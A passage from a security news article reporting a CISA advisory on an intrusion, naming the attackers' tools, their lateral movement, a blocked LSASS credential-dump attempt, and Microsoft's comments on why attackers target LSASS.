The initial access further afforded the actors to fetch additional files such as PsExec, Mimikatz, and Ngrok, in addition to using RDP for lateral movement and disabling Windows Defender on the endpoints.

"The threat actors also changed the password for the local administrator account on several hosts as a backup should the rogue domain administrator account get detected and terminated," CISA noted.

Also detected was an unsuccessful attempt at dumping the Local Security Authority Subsystem Service (LSASS) process using the Windows Task Manager, which was blocked by the antivirus solution deployed in the IT environment.

Microsoft, in a report last month, revealed that cybercriminals are targeting credentials in the LSASS process owing to the fact that it "can store not only a current user's OS credentials but also a domain admin's."

"Dumping LSASS credentials is important for attackers because if they successfully dump domain passwords, they can, for example, then use legitimate tools such as PsExec or Windows Management Instrumentation (WMI) to move laterally across the network," the tech giant said.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#windows